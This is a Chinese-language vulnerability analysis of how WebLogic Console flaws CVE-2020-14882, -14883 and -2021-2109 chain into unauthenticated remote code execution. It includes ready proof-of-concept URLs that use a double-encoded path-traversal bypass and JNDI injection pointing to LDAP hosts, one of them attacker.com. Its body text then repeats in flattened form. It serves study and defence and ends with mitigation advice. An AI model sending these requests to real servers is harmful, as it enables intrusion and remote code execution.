Weblogic Console漏洞分析
字数 2169 2025-08-10 08:28:37

WebLogic Console漏洞分析教学文档

1. 漏洞概述

本教学文档详细分析WebLogic Console中的三个关键漏洞:CVE-2021-2109、CVE-2020-14882和CVE-2020-14883。这些漏洞组合使用可实现未授权远程代码执行(RCE)。

2. CVE-2021-2109 JNDI注入漏洞

2.1 漏洞原理

  • 这是一个管理员权限下的JNDI注入漏洞
  • 可结合CVE-2020-14882认证绕过漏洞实现未授权RCE
  • 绕过了Oracle对CVE-2020-14883漏洞的补丁中对handle参数的校验

2.2 技术细节

  1. 补丁绕过机制

    • 补丁在com.bea.console.handles.HandleFactory#getHandle方法中检查传入类的类型
    • 通过com.bea.console.handles.JndiBindingHandle子类的构造方法传入JNDI URL作为payload
  2. JNDI注入触发点

    • com.bea.console.actions.jndi.JNDIBindingAction#execute方法中
    • 构造JndiBindingHandle对象并获取JNDI payload
    • 进行特定拼接后调用javax.naming.Context#lookup实现JNDI注入

3. CVE-2020-14882 认证绕过漏洞

3.1 漏洞原理

  • 通过路径穿越构造满足unrestricted资源的URL
  • 绕过鉴权访问受限资源

3.2 技术细节

3.2.1 URL处理流程

  1. AbstractHttpConnectionHandler#dispatch
  2. AbstractHttpRequestParser#decodeURI中进行URL解码
  3. 解码后的URL用于路由判断

3.2.2 关键绕过点

  1. 路径穿越构造

    • 使用/css/%25%32%65%25%32%65%25%32%66/等编码形式
    • 经过两次URL解码后还原出攻击者意图访问的受限资源
  2. 路由判断机制

    • WebAppSecurity#checkAccess方法获取资源约束
    • 通过StandardURLMapping类判断URL是否属于无需认证的资源(如/css/*)
  3. 最终目标

    • 路径穿越到/console/console.portal
    • 使WebAppSecurity#hasPermission返回true

4. CVE-2020-14883 管理员权限下的任意代码执行

4.1 漏洞原理

  • 管理员权限下的任意代码执行漏洞
  • 可通过特殊路径/console/__Streaming.portal触发

4.2 技术细节

4.2.1 触发方式

  • 请求示例:
    /console/__Streaming.portal?file=/console.portal
    /console/__Streaming.portal?file=/consolejndi.portal
    

4.2.2 替代触发点

  • 使用特殊类com.bea.console.handles.JndiContextHandle
  • 示例PoC:
    /console/css/%25%32%65%25%32%65%25%32%66/console.portal?_pageLabel=EJBTestHomePage&_nfpb=true&handle=com.bea.console.handles.JndiContextHandle(-ldap://192.168.85.1:1389/1;AdminServer--&returnTo=EJBTestHomePage
    

4.2.3 Action执行机制推测

  1. 继承org.apache.struts.action.Action并实现execute方法
  2. <netuix:strutsContent>中指定action为类名
  3. 或使用@Jpf.Action注解方法
  4. <netuix:pageflowContent>中指定action为方法名

5. JNDI注入payload构造

5.1 必要条件

  • serverMBean不为空
  • 需要domainMBean.lookupServer(serverName)返回值
  • 默认情况下参数必须为AdminServer

5.2 payload结构

  • 格式:ldap://127;0.0.1:1389/;AdminServer
  • 解析过程:
    1. 通过getComponent()方法处理
    2. ;为分隔符拆分字符串
    3. 第0和第1部分用.拼接形成完整LDAP URL
    4. 第2部分必须为AdminServer

5.3 构造示例

  • 有效payload:
    ldap://127;0.0.1:1389/lnuvcv;AdminServer
    
    解析为:
    ldap://127.0.0.1:1389/lnuvcv
    

5.4 特殊构造技巧

  1. handle参数名可以是以"handle"结尾的任何字符串(如"111handle")
  2. 括号内可以使用任意字符作为分隔符,不限于引号

6. 漏洞组合利用

6.1 完整利用链

  1. 利用CVE-2020-14882绕过认证
  2. 利用CVE-2021-2109或CVE-2020-14883执行JNDI注入
  3. 通过LDAP服务加载恶意类实现RCE

6.2 示例PoC

/console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&handle=com.bea.console.handles.JndiBindingHandle(%22ldap://attacker.com/exploit;AdminServer%22)

7. 防御建议

  1. 及时应用Oracle官方补丁
  2. 限制WebLogic Console的访问权限
  3. 监控对/console/css/路径的异常访问
  4. 禁用不必要的JNDI查找功能
  5. 实施网络层防护,限制出站LDAP连接

8. 参考资源

  1. WebLogic one GET request RCE 分析(CVE-2020-14882+CVE-2020-14883)
  2. [CVE-2020-14882/14883]WebLogic console认证绕过+任意代码执行
  3. Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)
  4. CVE-2020-14882&CVE-2020-14883分析
WebLogic Console漏洞分析教学文档 1. 漏洞概述 本教学文档详细分析WebLogic Console中的三个关键漏洞:CVE-2021-2109、CVE-2020-14882和CVE-2020-14883。这些漏洞组合使用可实现未授权远程代码执行(RCE)。 2. CVE-2021-2109 JNDI注入漏洞 2.1 漏洞原理 这是一个管理员权限下的JNDI注入漏洞 可结合CVE-2020-14882认证绕过漏洞实现未授权RCE 绕过了Oracle对CVE-2020-14883漏洞的补丁中对handle参数的校验 2.2 技术细节 补丁绕过机制 : 补丁在 com.bea.console.handles.HandleFactory#getHandle 方法中检查传入类的类型 通过 com.bea.console.handles.JndiBindingHandle 子类的构造方法传入JNDI URL作为payload JNDI注入触发点 : 在 com.bea.console.actions.jndi.JNDIBindingAction#execute 方法中 构造 JndiBindingHandle 对象并获取JNDI payload 进行特定拼接后调用 javax.naming.Context#lookup 实现JNDI注入 3. CVE-2020-14882 认证绕过漏洞 3.1 漏洞原理 通过路径穿越构造满足unrestricted资源的URL 绕过鉴权访问受限资源 3.2 技术细节 3.2.1 URL处理流程 在 AbstractHttpConnectionHandler#dispatch 中 在 AbstractHttpRequestParser#decodeURI 中进行URL解码 解码后的URL用于路由判断 3.2.2 关键绕过点 路径穿越构造 : 使用 /css/%25%32%65%25%32%65%25%32%66/ 等编码形式 经过两次URL解码后还原出攻击者意图访问的受限资源 路由判断机制 : WebAppSecurity#checkAccess 方法获取资源约束 通过 StandardURLMapping 类判断URL是否属于无需认证的资源(如 /css/* ) 最终目标 : 路径穿越到 /console/console.portal 使 WebAppSecurity#hasPermission 返回true 4. CVE-2020-14883 管理员权限下的任意代码执行 4.1 漏洞原理 管理员权限下的任意代码执行漏洞 可通过特殊路径 /console/__Streaming.portal 触发 4.2 技术细节 4.2.1 触发方式 请求示例: 4.2.2 替代触发点 使用特殊类 com.bea.console.handles.JndiContextHandle 示例PoC: 4.2.3 Action执行机制推测 继承 org.apache.struts.action.Action 并实现 execute 方法 在 <netuix:strutsContent> 中指定action为类名 或使用 @Jpf.Action 注解方法 在 <netuix:pageflowContent> 中指定action为方法名 5. JNDI注入payload构造 5.1 必要条件 serverMBean 不为空 需要 domainMBean.lookupServer(serverName) 返回值 默认情况下参数必须为 AdminServer 5.2 payload结构 格式: ldap://127;0.0.1:1389/;AdminServer 解析过程: 通过 getComponent() 方法处理 以 ; 为分隔符拆分字符串 第0和第1部分用 . 拼接形成完整LDAP URL 第2部分必须为 AdminServer 5.3 构造示例 有效payload: 解析为: 5.4 特殊构造技巧 handle参数名可以是以"handle"结尾的任何字符串(如"111handle") 括号内可以使用任意字符作为分隔符,不限于引号 6. 漏洞组合利用 6.1 完整利用链 利用CVE-2020-14882绕过认证 利用CVE-2021-2109或CVE-2020-14883执行JNDI注入 通过LDAP服务加载恶意类实现RCE 6.2 示例PoC 7. 防御建议 及时应用Oracle官方补丁 限制WebLogic Console的访问权限 监控对 /console/css/ 路径的异常访问 禁用不必要的JNDI查找功能 实施网络层防护,限制出站LDAP连接 8. 参考资源 WebLogic one GET request RCE 分析(CVE-2020-14882+CVE-2020-14883) [ CVE-2020-14882/14883 ]WebLogic console认证绕过+任意代码执行 Weblogic Server远程代码执行漏洞预警(CVE-2021-2109) CVE-2020-14882&CVE-2020-14883分析